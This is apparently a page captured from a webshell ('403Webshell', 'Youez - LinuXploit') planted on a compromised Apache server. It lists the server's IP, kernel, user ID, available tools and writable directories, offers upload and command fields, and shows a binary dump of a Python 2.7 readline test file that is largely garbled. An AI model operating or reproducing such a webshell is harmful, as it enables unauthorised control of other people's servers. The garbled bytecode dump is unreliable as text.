403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.63
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python27/lib64/python2.7/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python27/lib64/python2.7/test/test_readline.pyc
�
�q2_c@s�dZddlZddlZddlmZmZddlmZed�Zdej	fd��YZ
dej	fd	��YZd
�Ze
dkr�e�ndS(s:
Very minimal unittests for parts of the readline module.
i����N(trun_unittestt
import_module(tassert_python_oktreadlinetTestHistoryManipulationcBs2eZdZejeed�d�d��ZRS(s�These tests were added to check that the libedit emulation on OSX and
    the "real" readline have the same interface for history manipulation.
    That's why the tests cover only a small subset of the interface.
    t
clear_historysXThe history update test cannot be run because the clear_history method is not available.cCs9tj�tjd�tjd�|jtjd�d�|jtjd�d�|jtjd�d�tjdd�|jtjd�d�|jtjd�d�|jtjd�d�|jtj�d�tjd�|jtjd�d�|jtjd�d�|jtj�d�dS(Ns
first linessecond lineiiis
replaced line(	RRtadd_historytassertEqualtget_history_itemtNonetreplace_history_itemtget_current_history_lengthtremove_history_item(tself((s7/opt/alt/python27/lib64/python2.7/test/test_readline.pyttestHistoryUpdatess



(t__name__t
__module__t__doc__tunittestt
skipUnlessthasattrRR(((s7/opt/alt/python27/lib64/python2.7/test/test_readline.pyRstTestReadlinecBs;eZejejdko'dejkd�d��ZRS(itlibedits%not supported in this library versioncCs2tdddd�\}}}|j|d�dS(Ns-csimport readlinetTERMsxterm-256colort(RR(R
trctstdouttstderr((s7/opt/alt/python27/lib64/python2.7/test/test_readline.pyt	test_init/s(RRRtskipIfRt_READLINE_VERSIONRR(((s7/opt/alt/python27/lib64/python2.7/test/test_readline.pyR-scCsttt�dS(N(RRR(((s7/opt/alt/python27/lib64/python2.7/test/test_readline.pyt	test_main;st__main__(RtosRttest.test_supportRRttest.script_helperRRtTestCaseRRRR(((s7/opt/alt/python27/lib64/python2.7/test/test_readline.pyt<module>s!	

Youez - 2016 - github.com/yon3zu
LinuXploit